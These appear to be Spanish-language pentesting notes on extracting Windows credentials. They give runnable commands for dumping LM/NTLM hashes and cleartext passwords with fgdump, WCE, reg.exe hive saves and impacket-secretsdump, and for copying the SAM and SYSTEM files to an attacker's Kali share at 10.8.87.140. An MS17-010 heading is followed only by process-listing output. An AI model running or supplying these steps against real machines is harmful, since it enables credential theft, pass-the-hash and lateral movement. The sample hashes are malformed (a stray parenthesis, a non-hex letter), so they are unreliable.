Windows

Volcado de contraseñas y hashes en Windows

Dependiendo del mecanismo de autenticación empleado y de la versión de Windows, es posible que las credenciales utilizadas por los usuarios se puedan recuperar directamente de la memoria de procesos como el LSASS o en otras ubicaciones. De hecho, los ataques clásicos de pass the hash se basan en obtener los hashes de las contraseñas utilizadas para iniciar sesión en el sistema local y en el caso de que la autenticación se lleve a cabo contra un AD, dichos hashes estarán guardados en los controladores de dominio. Los ataques de pass the hash continúan siendo una amenaza real y representan una técnica perfectamente valida para intentar elevar privilegios o realizar movimientos laterales. Aunque cuando se habla de PtH comúnmente se refiere a hashes NT, la misma dinámica aplica a Kerberos solo que en este caso se puede intentar obtener el TGT (Ticket-Granted Ticket).

Windows almacena las contraseñas en SAM - Security Account Manager. Las contraseñas se almacenan de forma diferente según el sistema operativo. Hasta (incluido) Windows 2003 almacenó las contraseñas en LAN Manager (LM) y NT LAN Manager (NTLM). LM es increíblemente inseguro. Desde Windows Vista y en el sistema no se usa LM, solo NTLM. El cual, es un poco más seguro.

LM y NTLM> = Windows 2003

NTLM> Windows vista

Hashes LM

Los hash LM pueden ser muy fáciles de descifrar. La parte LM en el ejemplo siguiente es la primera parte.

Administrator:500:FA21A6D3CF(01B8BAAD3B435B51404EE:C294D192B82B6AA35C3DFCA81F1F59BC:::

Ejemplo de NT

Administrator:500:NO PASSWORD*********************:BE134K40129560B46534340292AF4E72:::

fgdump.exe

Podemos usar fgdump.exe( locate fgdump.exeen kali) para extraer los hashes de contraseña NTLM y LM. Ejecútelo y hay un archivo llamado 127.0.0.1.pwndump donde se guarda el hash. Ahora puedes intentar usar la fuerza bruta.

Windows Credencial Editor (WCE)

¡WCE puede robar contraseñas NTLM de la memoria en texto sin cifrar! Existen diferentes versiones de WCE, una para sistemas de 32 bits y otra para 64 bits. Así que asegúrese de tener el correcto.

wce32.exe -w

Utilización del registro sin herramientas alternas

Esta podría ser una técnica mejor que usar herramientas como wce y fgdump, ya que no tiene que cargar ningún binario. Obtenga el registro:

C:\> reg.exe save hklm\sam c:\windows\temp\sam.save
C:\> reg.exe save hklm\security c:\windows\temp\security.save
C:\> reg.exe save hklm\system c:\windows\temp\system.save

Los hashes se pueden extraer usando secretdump.pyopwdump

impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL

Transferencia de SAM y SYSTEM hacia nuestro kali

C:\PrivEsc>copy C:\Windows\Repair\SAM \\10.8.87.140\kali\                            
        1 file(s) copied.

C:\PrivEsc>copy C:\Windows\Repair\SYSTEM \\10.8.87.140\kali\
        1 file(s) copied.

LSA Secrets:

Ya se ha mencionado anteriormente que el proceso LSASS almacena en memoria información sensible como las credenciales de los usuarios, sin embargo existen otros elementos que también son interesantes y relevantes para un proceso de post-explotación, por ejemplo:

  • Contraseñas almacenadas en el ordenador localmente.

  • Contraseñas de cuentas destinadas a servicios que se ejecutan en el sistema.

  • Contraseñas de aplicaciones especificas, como por ejemplo aplicaciones web desplegadas en un IIS.

  • Contraseñas utilizadas en las tareas programadas creadas en el sistema operativo.

Explotacion de MS17-010

Obteniendo informacion de los procesos corriendo en el sistema

PS C:\Program Files\Apache Software Foundation\Tomcat 9.0> netstat -ano| findstr 2233
Active Connections
  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:2233           0.0.0.0:0              LISTENING       1196
  
PS C:\Program Files\Apache Software Foundation\Tomcat 9.0> ps | findstr 1196
    131      10     1404       2904       0.05   1196   0 StorageServer
    
PS C:\Program Files\Apache Software Foundation\Tomcat 9.0> wmic process where processid=1196 get processid,executablepath,name
ExecutablePath                                             Name               ProcessId  

C:\"Program Files (x86)"\StorageService\StorageServer.exe  StorageServer.exe  1196

Última actualización